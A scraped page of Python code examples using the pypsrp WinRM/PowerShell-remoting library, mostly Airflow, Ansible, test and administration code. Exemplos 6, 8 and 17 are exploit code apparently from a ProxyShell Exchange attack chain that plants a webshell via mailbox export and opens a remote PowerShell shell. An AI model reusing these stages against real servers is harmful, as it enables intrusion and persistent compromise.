Exemplo n.º 1
0
def get_winRS(config):

    errors = 0
    results = []
    try:
        ssl = config['protocol'].split('/')[1]
    except Exception as e:
        ssl = ""
    for member in config['members'].split(','):
        res = ""
        try:
            if ssl:
                client = WSMan(member,
                               ssl=True,
                               auth="ntlm",
                               cert_validation=False,
                               connection_timeout=3,
                               username=config['user'],
                               password=config['password'])
            else:
                client = WSMan(member,
                               ssl=False,
                               auth="ntlm",
                               cert_validation=False,
                               connection_timeout=3,
                               username=config['user'],
                               password=config['password'])

            with WinRS(client) as shell:
                process = Process(shell, REMCMD)
                print(process)
                stdout, stderr, _rc = process.invoke()
            if "decode" in dir(stdout):
                res = stdout.decode()
                err = stderr.decode()
            else:
                res = stdout
                err = stderr
            if err:
                print("get_winRS: {} -> err: {}".format(config, err),
                      file=sys.stderr)
                errors += 1
        except Exception as e:
            print("get_winRS: Connect to {} failed: {}".format(
                member, e.args[0]),
                  file=sys.stderr)
            errors += 1

        results.append(res)

    return errors, config, results
Exemplo n.º 2
0
def wsman_conn(request, monkeypatch):
    test_params = request.param
    if not isinstance(test_params, list) or len(test_params) != 2:
        raise Exception(
            "Cannot run winrm_transport fixture without the allow real and test name set"
        )

    allow_real = test_params[0]
    test_name = test_params[1]

    # these need to be set to run against a proper server
    username = os.environ.get("PYPSRP_USERNAME", None)
    password = os.environ.get("PYPSRP_PASSWORD", None)
    server = os.environ.get("PYPSRP_SERVER", None)

    # these are optional vars that can further control the transport setup
    auth = os.environ.get("PYPSRP_AUTH", "negotiate")
    port = int(os.environ.get("PYPSRP_PORT", "5986"))
    ssl = port != 5985

    if allow_real and username is not None and password is not None and server is not None:
        wsman = WSMan(server,
                      port=port,
                      username=username,
                      password=password,
                      ssl=ssl,
                      auth=auth,
                      cert_validation=False)
    else:
        # Mock out UUID's so they are not a problem when comparing messages
        def mockuuid():
            return uuid.UUID("00000000-0000-0000-0000-000000000000")

        monkeypatch.setattr(uuid, "uuid4", mockuuid)
        transport = TransportFake(test_name, "fakehost", port, "username",
                                  "password", ssl, "wsman", auth)
        wsman = WSMan("")
        wsman.transport = transport

    with wsman:
        yield wsman

    # used as an easy way to be results for a test, requires the _test_messages
    # to be uncommented in pypsrp/wsman.py
    test_messages = getattr(wsman.transport, "_test_messages", None)
    if test_messages is not None:
        yaml_text = yaml.dump({"messages": test_messages},
                              default_flow_style=False,
                              width=9999)
        print(yaml_text)
Exemplo n.º 3
0
    def __enter__(self):
        conn = self.get_connection(self.conn_id)

        self.log.info("Establishing WinRM connection %s to host: %s",
                      self.conn_id, conn.host)
        self._client = WSMan(
            conn.host,
            ssl=True,
            auth="ntlm",
            encryption="never",
            username=conn.login,
            password=conn.password,
            cert_validation=False,
        )
        self._client.__enter__()
        return self
Exemplo n.º 4
0
    async def modify_existing_service(self, hosts, username, password,
                                      transport, server_cert_validation,
                                      message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with RunspacePool(wsman) as pool:
                    # This script searches event logs for successful logons,
                    # Logon attmepts, and failed logon attempts

                    script = "Get-ChildItem ‘HKLM:\SYSTEM\CurrentControlSet\Services' -Recurse"

                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        this_result.append({
                            "name":
                            str(line),
                            "adapted_properties":
                            json.loads(
                                json.dumps(line.adapted_properties,
                                           cls=ObjectEncoder)),
                            "extended_properties":
                            json.loads(
                                json.dumps(line.extended_properties,
                                           cls=ObjectEncoder))
                        })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
    def invoke_script(self, script, expect_json=False):
        wsman = WSMan(self.host,
                      auth="kerberos",
                      cert_validation=False,
                      ssl=True)
        with RunspacePool(wsman,
                          configuration_name=self.configuration_name) as pool:
            ps = PowerShell(pool)
            ps.add_script(script)
            ps.invoke()
            if ps.had_errors:
                error_messages = []
                for i in ps.streams.error:
                    error_messages.append(i.message)
                raise RuntimeError(error_messages)
            else:
                if expect_json:
                    output = [json.loads(x) for x in ps.output]
                else:
                    output = PSRP_Wrapper._convertto_json_compatible(ps.output)

                stream_names = [
                    "debug", "error", "information", "verbose", "warning"
                ]
                streams = dict()
                for i in stream_names:
                    streams[i] = []
                    for j in getattr(ps.streams, i):
                        streams[i].append(j.message)
                return {"output": output, "streams": streams}
Exemplo n.º 6
0
def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
    logger.debug("[Stage 4] Dealing with WSMV")
    wsman = WSMan(server=target, port=443,
    path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', 
    ssl="true", 
    cert_validation=False)
    logger.debug("[Stage 4] Dealing with PSRP")
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        logger.debug("[Stage 4] Assign Management Role")
        ps = PowerShell(pool)
        #ps.add_cmdlet("Get-User")
        ps.add_cmdlet("New-ManagementRoleAssignment")
        ps.add_parameter("Role", "Mailbox Import Export")
        ps.add_parameter("SecurityGroup", "Organization Management")
        output = ps.invoke()
        
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Exporting MailBox as Webshell")
        ps = PowerShell(pool)
        ps.add_cmdlet("New-MailboxExportRequest")
        ps.add_parameter("Mailbox", alias_name)
        ps.add_parameter("Name", subject)
        ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
        ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
        output = ps.invoke()
        logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Cleaning Notification")
        ps = PowerShell(pool)
        ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
        output = ps.invoke()
Exemplo n.º 7
0
    async def exec_command_prompt(self, hosts, commands, username, password, transport, server_cert_validation,
                                  message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param commands: array of commands in which you want to run on every host
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """

        results = {}

        for host in hosts:
            results[host] = ""
            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with WinRS(wsman) as shell:
                    for command in commands:
                        process = Process(shell, command)
                        process.invoke()
                        results[host] = {"stdout": process.stdout.decode(), "stderr": process.stderr.decode()}
                        process.signal(SignalCode.CTRL_C)

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 8
0
def shell(command, port):
    if command.lower() in ['exit', 'quit']:
        exit(0)
    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()
Exemplo n.º 9
0
    async def exec_powershell_script_from_file(self, hosts, shell_type,
                                               local_file_name, username,
                                               password, transport,
                                               server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}
        curr_dir = os.getcwd()
        temp_dir = os.path.join(curr_dir, r'scripts')
        os.chdir(temp_dir)
        curr_dir = os.getcwd()
        local_file_path = os.path.join(curr_dir, local_file_name)

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with WinRS(wsman) as shell:
                    # for command in commands:
                    script = open(local_file_path, "r").read()

                    process = Process(shell, shell_type, script)
                    process.begin_invoke(
                    )  # start the invocation and return immediately
                    process.poll_invoke()  # update the output stream
                    process.end_invoke(
                    )  # finally wait until the process is finished
                    results[host] = {
                        "stdout": process.stdout.decode(),
                        "stderr": process.stderr.decode()
                    }
                    process.signal(SignalCode.CTRL_C)

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 10
0
    def __init__(self, server, **kwargs):
        """
        Creates a client object used to do the following
            spawn new cmd command/process
            spawn new PowerShell Runspace Pool/Pipeline
            copy a file from localhost to the remote Windows host
            fetch a file from the remote Windows host to localhost

        This is just an easy to use layer on top of the objects WinRS and
        RunspacePool/PowerShell. It trades flexibility in favour of simplicity.

        If your use case needs some of that flexibility you can use these
        functions as a reference implementation for your own functions.

        :param server: The server/host to connect to
        :param kwargs: The various WSMan args to control the transport
            mechanism, see pypsrp.wsman.WSMan for these args
        """
        self.wsman = WSMan(server, **kwargs)
Exemplo n.º 11
0
    def __init__(self, dns_svr, user, password, csv_dns_dm):
        self.dns_svr = dns_svr
        self.user = user
        self.password = password
        self.csv_dns_fw_dm = csv_dns_dm[0]
        self.csv_dns_rv_dm = csv_dns_dm[1]

        # WSman connection used to run powershell cmds on windows servers
        self.wsman_conn = WSMan(self.dns_svr, username=self.user, password=self.password, ssl=False)
        self.client_conn = Client(self.dns_svr, username=self.user, password=self.password, ssl=False)
Exemplo n.º 12
0
async def start_vm(info: VMInfo):
    """
    Invoke command to start virtual machine with given VM ID
    :param info: VM ID of virtual machine to be started
    """
    with RunspacePool(connection=WSMan(**connection_settings)) as pool:
        ps = PowerShell(pool)
        ps.add_script("$server = Get-SCVMMServer -ComputerName localhost"
                      ).add_script("Get-SCVirtualMachine -VMMServer $server |"
                                   " ? {$_.VMId -eq \"" + info.vmid + "\" } |"
                                   " Start-SCVirtualMachine").begin_invoke()
Exemplo n.º 13
0
def main(host, username, password, command):
    wsman = WSMan(host,
                  username=username,
                  password=password,
                  cert_validation=False)

    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_cmdlet(command)
        ps.invoke()

        print(ps.output[0])
Exemplo n.º 14
0
    async def account_manipulation(self, hosts, username, password, transport,
                                               server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with RunspacePool(wsman) as pool:
                    # This script returns events regarding account objects being changed
                    # as well as account names being changed

                    script = "Get-WinEvent -LogName security | Where-Object {$_.ID -eq 4738 -or $_.ID -eq 4781}"

                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        this_result.append({
                            "name": str(line),
                            "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)),
                            "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder))
                        })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 15
0
    async def exec_powershell_script_from_file(self, hosts, shell_type, local_file_name, username, password, transport,
                                               server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with RunspacePool(wsman) as pool:
                    with open(local_file_name, "r") as f:
                        script = f.read()
                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        if type(line) is str:
                            this_result.append(line)
                        else:
                            this_result.append({
                                "types": line.types,
                                "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)),
                                "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder))
                            })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 16
0
    async def scheduled_tasks(self, hosts, username, password, transport, server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with RunspacePool(wsman) as pool:

                    script = """
                    wevtutil sl  Microsoft-Windows-TaskScheduler/Operational  /e:true
                    
                    Get-WinEvent -LogName  'Microsoft-Windows-TaskScheduler/Operational' | Where-Object  $_.Id -eq 106 
                    -or ($_.Id -eq 140) -or $_.Id -eq 141  } | Format-Table TimeCreated,Id,LevelDisplayName,Message
                    """

                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        this_result.append({
                            "name": str(line),
                            "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)),
                            "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder))
                        })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 17
0
def shell(command, port):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
Exemplo n.º 18
0
 def __init__(self):
     # self.wsman = WSMan(server="", port=443, path="/powershell/",ssl=True,username="", password="",auth="basic")
     self.wsman = WSMan(server=getskey()['exserver'],
                        port=80,
                        path="/powershell/",
                        ssl=False,
                        username=getskey()['exdomain'] + "\\" +
                        getskey()['exuser'],
                        password=encrypt_and_decode().decrypted_text(
                            getskey()['expassword']),
                        auth="basic",
                        encryption='never')
     self.msg, self.message, self.isSuccess, self.code, self.count = str(
     ), list(), False, 0, 0
Exemplo n.º 19
0
    async def exec_powershell_script(self, hosts, shell_type, arguments,
                                     username, password, transport,
                                     server_cert_validation,
                                     message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param commands: array of commands in which you want to run on every host
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with WinRS(wsman) as shell:
                    for arg in arguments:
                        process = Process(shell, shell_type, [arg])
                        process.begin_invoke(
                        )  # start the invocation and return immediately
                        process.poll_invoke()  # update the output stream
                        process.end_invoke(
                        )  # finally wait until the process is finished
                        results[host] = {
                            "stdout": process.stdout.decode(),
                            "stderr": process.stderr.decode()
                        }
                        process.signal(SignalCode.CTRL_C)

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 20
0
    def test_pshost_methods(self):
        wsman = WSMan("server")
        runspace = RunspacePool(wsman)
        host = PSHost(CultureInfo(), CultureInfo(), True, "name", None, None,
                      "1.0")

        assert host.GetName(None, None) == "name"
        actual_version = host.GetVersion(runspace, None)
        assert actual_version.text == "1.0"
        assert actual_version.tag == "Version"
        assert isinstance(host.GetInstanceId(None, None), uuid.UUID)
        assert isinstance(host.GetCurrentCulture(None, None), CultureInfo)
        assert isinstance(host.GetCurrentUICulture(None, None), CultureInfo)
        host.NotifyBeginApplication(None, None)
        host.NotifyEndApplication(None, None)
Exemplo n.º 21
0
def exservertest(**kwargs):
    try:
        wsman = WSMan(server=kwargs['exip'], port=80, path="/powershell/",ssl=False,username=kwargs['domain'] + "\\" + kwargs['exaccount'] , password=kwargs['expassword'],auth="basic",encryption='never')
        with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
            ps = PowerShell(pool).add_cmdlet('Get-ExchangeServer')
            output = ps.invoke()
            if not ps.had_errors and not ps.streams.error:
                data = {'isSuccess':True}
            else:
                data = {'isSuccess':False}
        # allurl = 'http://'+getskey()['iisserver']+':'+getskey()['iisport']+'//api/ad/testexlink'
        # u = requests.get(allurl,params=kwargs)
        # data = u.json()
        return  data
    except Exception as e:
        return  False
Exemplo n.º 22
0
    def get_conn(self) -> RunspacePool:
        """
        Returns a runspace pool.

        The returned object must be used as a context manager.
        """
        conn = self.get_connection(self.conn_id)
        self.log.info("Establishing WinRM connection %s to host: %s",
                      self.conn_id, conn.host)

        extra = conn.extra_dejson.copy()

        def apply_extra(d, keys):
            d = d.copy()
            for key in keys:
                value = extra.pop(key, None)
                if value is not None:
                    d[key] = value
            return d

        wsman_options = apply_extra(
            self._wsman_options,
            (
                "auth",
                "cert_validation",
                "connection_timeout",
                "locale",
                "read_timeout",
                "reconnection_retries",
                "reconnection_backoff",
                "ssl",
            ),
        )
        wsman = WSMan(conn.host,
                      username=conn.login,
                      password=conn.password,
                      **wsman_options)
        runspace_options = apply_extra(self._runspace_options,
                                       ("configuration_name", ))

        if extra:
            raise AirflowException(
                f"Unexpected extra configuration keys: {', '.join(sorted(extra))}"
            )
        pool = RunspacePool(wsman, **runspace_options)
        self._wsman_ref[pool] = wsman
        return pool
Exemplo n.º 23
0
    def _connect(self):
        if not HAS_PYPSRP:
            raise AnsibleError("pypsrp or dependencies are not installed: %s"
                               % to_native(PYPSRP_IMP_ERR))
        super(Connection, self)._connect()
        self._build_kwargs()
        display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" %
                    (self._psrp_user, self._psrp_port, self._psrp_host),
                    host=self._psrp_host)

        if not self.runspace:
            connection = WSMan(**self._psrp_conn_kwargs)

            # create our pseudo host to capture the exit code and host output
            host_ui = PSHostUserInterface()
            self.host = PSHost(None, None, False, "Ansible PSRP Host", None,
                               host_ui, None)

            self.runspace = RunspacePool(
                connection, host=self.host,
                configuration_name=self._psrp_configuration_name
            )
            display.vvvvv(
                "PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" %
                (self._psrp_auth, self._psrp_configuration_name,
                 connection.transport.endpoint), host=self._psrp_host
            )
            try:
                self.runspace.open()
            except AuthenticationError as e:
                raise AnsibleConnectionFailure("failed to authenticate with "
                                               "the server: %s" % to_native(e))
            except WinRMError as e:
                raise AnsibleConnectionFailure(
                    "psrp connection failure during runspace open: %s"
                    % to_native(e)
                )
            except (ConnectionError, ConnectTimeout) as e:
                raise AnsibleConnectionFailure(
                    "Failed to connect to the host via PSRP: %s"
                    % to_native(e)
                )

            self._connected = True
            self._last_pipeline = None
        return self
Exemplo n.º 24
0
    async def exec_command_prompt_from_file(self, hosts, local_file_name,
                                            username, password, transport,
                                            server_cert_validation,
                                            message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """

        results = {}

        for host in hosts:
            results[host] = ""
            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with WinRS(wsman) as shell:
                    with open(local_file_name, "r") as f:
                        script = f.read()
                    process = Process(shell, script)
                    process.invoke()
                    results[host] = {
                        "stdout": process.stdout.decode(),
                        "stderr": process.stderr.decode()
                    }
                    process.signal(SignalCode.CTRL_C)

                    self.logger.info(f"Done executing on {host}")
            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 25
0
async def list_vms(domain: str, username: str):
    """
    Returns a list of available virtual machines for given user
    :param domain: NTDOMAIN of the user
    :param username: username of the user
    :return: list of dicts with virtual machines data
    """
    domain = domain.upper()
    username = username.lower()

    if LIST_SCRIPT is None:
        return Response(status_code=500,
                        content="Server error: script not found.")

    with RunspacePool(connection=WSMan(**connection_settings)) as lpool:
        ps = PowerShell(lpool)
        ps.add_script(
            script=LIST_SCRIPT).add_argument(domain).add_argument(username)
        try:
            psresult = ps.invoke()
        except ReadTimeout:
            return Response(status_code=504,
                            content="SCVMM is not available now.")

    if len(psresult) == 0 and ps.had_errors:
        return Response(status_code=500,
                        content="SCVMM-API internal error occured.")

    if psresult:
        logging.info(
            f"Data for {domain}\\{username} returned, length: {len(psresult)}")

    return [
        VM(Name=x.extended_properties.get("Name", "-"),
           ID=x.extended_properties.get("VMId", "-"),
           VirtualMachineState=x.extended_properties.get(
               'VirtualMachineState', "-"),
           MostRecentTask=x.extended_properties.get('MostRecentTask', "-"),
           MostRecentTaskUIState=x.extended_properties.get(
               'MostRecentTaskUIState', "-"),
           VMHost=x.extended_properties.get('VMHost', "-")) for x in psresult
    ]
Exemplo n.º 26
0
def check_creds(host, username, password, domain):
    has_access = False
    try:
        username = '******' % (domain, username)
        wsman = WSMan(host,
                      username=username,
                      password=password,
                      ssl=False,
                      auth='ntlm')
        with RunspacePool(wsman) as pool:
            ps = PowerShell(pool)
            ps.add_cmdlet('Invoke-Expression')\
                .add_parameter('Command', 'whoami')
            ps.begin_invoke()
            while ps.output is None or ps.output == '':
                ps.poll_invoke()
            ps.end_invoke()
            if len(ps.output) > 0:
                has_access = True
    except:
        has_access = False
    return has_access
Exemplo n.º 27
0
    async def get_procs_n_modules_kansa(self, hosts, username, password,
                                        transport, server_cert_validation,
                                        message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to rsun (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                results[host] = await self.run_script(
                    wsman,
                    "scripts/Kansa/Modules/Process/Get-ProcsNModules.ps1")

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Exemplo n.º 28
0
class PSRPHook(BaseHook):
    """
    Hook for PowerShell Remoting Protocol execution.

    The hook must be used as a context manager.
    """

    _client = None
    _poll_interval = 1

    def __init__(self, psrp_conn_id: str):
        self.conn_id = psrp_conn_id

    def __enter__(self):
        conn = self.get_connection(self.conn_id)

        self.log.info("Establishing WinRM connection %s to host: %s",
                      self.conn_id, conn.host)
        self._client = WSMan(
            conn.host,
            ssl=True,
            auth="ntlm",
            encryption="never",
            username=conn.login,
            password=conn.password,
            cert_validation=False,
        )
        self._client.__enter__()
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        try:
            self._client.__exit__(exc_type, exc_value, traceback)
        finally:
            self._client = None

    def invoke_powershell(self, script: str) -> PowerShell:
        with RunspacePool(self._client) as pool:
            ps = PowerShell(pool)
            ps.add_script(script)
            ps.begin_invoke()
            streams = [
                (ps.output, self._log_output),
                (ps.streams.debug, self._log_record),
                (ps.streams.information, self._log_record),
                (ps.streams.error, self._log_record),
            ]
            offsets = [0 for _ in streams]

            # We're using polling to make sure output and streams are
            # handled while the process is running.
            while ps.state == PSInvocationState.RUNNING:
                sleep(self._poll_interval)
                ps.poll_invoke()

                for (i, (stream, handler)) in enumerate(streams):
                    offset = offsets[i]
                    while len(stream) > offset:
                        handler(stream[offset])
                        offset += 1
                    offsets[i] = offset

            # For good measure, we'll make sure the process has
            # stopped running.
            ps.end_invoke()

            if ps.streams.error:
                raise AirflowException("Process had one or more errors")

            self.log.info("Invocation state: %s",
                          str(PSInvocationState(ps.state)))
            return ps

    def _log_output(self, message: str):
        self.log.info("%s", message)

    def _log_record(self, record):
        # TODO: Consider translating some or all of these records into
        # normal logging levels, using `log(level, msg, *args)`.
        if isinstance(record, ErrorRecord):
            self.log.info("Error: %s", record)
            return

        if isinstance(record, InformationRecord):
            self.log.info("Information: %s", record.message_data)
            return

        if isinstance(record, ProgressRecord):
            self.log.info("Progress: %s (%s)", record.activity,
                          record.description)
            return

        self.log.info("Unsupported record type: %s", type(record).__name__)
Exemplo n.º 29
0
def arg_check():
    if len(sys.argv) < 2:
        print('Warning: Need to provide ip for windows instance.')
        sys.exit(1)


if __name__ == '__main__':
    arg_check()

    server = sys.argv[1]
    ps = sys.argv[2]

    # creates a http connection with no encryption and basic auth
    wsman = WSMan(server,
                  ssl=False,
                  auth="basic",
                  encryption="never",
                  username="******",
                  password="******")

    with WinRS(wsman) as shell:
        # execute a process with arguments in the background
        process = Process(shell, ps)
        process.begin_invoke()  # start the invocation and return immediately
        process.poll_invoke()  # update the output stream
        process.end_invoke()  # finally wait until the process is finished
        process.signal(SignalCode.CTRL_C)
        print('stdout', process.stdout)
        print('stderr', process.stderr)
        print('rc', process.rc)
Exemplo n.º 30
0
class Client(object):

    def __init__(self, server, **kwargs):
        """
        Creates a client object used to do the following
            spawn new cmd command/process
            spawn new PowerShell Runspace Pool/Pipeline
            copy a file from localhost to the remote Windows host
            fetch a file from the remote Windows host to localhost

        This is just an easy to use layer on top of the objects WinRS and
        RunspacePool/PowerShell. It trades flexibility in favour of simplicity.

        If your use case needs some of that flexibility you can use these
        functions as a reference implementation for your own functions.

        :param server: The server/host to connect to
        :param kwargs: The various WSMan args to control the transport
            mechanism, see pypsrp.wsman.WSMan for these args
        """
        self.wsman = WSMan(server, **kwargs)

    def copy(self, src, dest):
        """
        Copies a single file from the current host to the remote Windows host.
        This can be quite slow when it comes to large files due to the
        limitations of WinRM but it is designed to be as fast as it can be.
        During the copy process, the bytes will be stored in a temporary file
        before being copied.

        When copying it will replace the file at dest if one already exists. It
        also will verify the checksum of the copied file is the same as the
        actual file locally before copying the file to the path at dest.

        :param src: The path to the local file
        :param dest: The path to the destionation file on the Windows host
        :return: The absolute path of the file on the Windows host
        """
        def read_buffer(b_path, buffer_size):
            offset = 0
            sha1 = hashlib.sha1()

            with open(b_path, 'rb') as src_file:
                for data in iter((lambda: src_file.read(buffer_size)), b""):
                    log.debug("Reading data of file at offset=%d with size=%d"
                              % (offset, buffer_size))
                    offset += len(data)
                    sha1.update(data)
                    b64_data = base64.b64encode(data) + b"\r\n"

                    yield b64_data, False

                # the file was empty, return empty buffer
                if offset == 0:
                    yield b"", False

            # the last input is the actual file hash used to verify the
            # transfer was ok
            actual_hash = b"\x00\xffHash: " + to_bytes(sha1.hexdigest())
            yield base64.b64encode(actual_hash), True

        src = os.path.expanduser(os.path.expandvars(src))
        b_src = to_bytes(src)
        src_size = os.path.getsize(b_src)
        log.info("Copying '%s' to '%s' with a total size of %d"
                 % (src, dest, src_size))

        # check if the src size is twice as large as the max payload and fetch
        # the max size from the server, we only check in this case to save on a
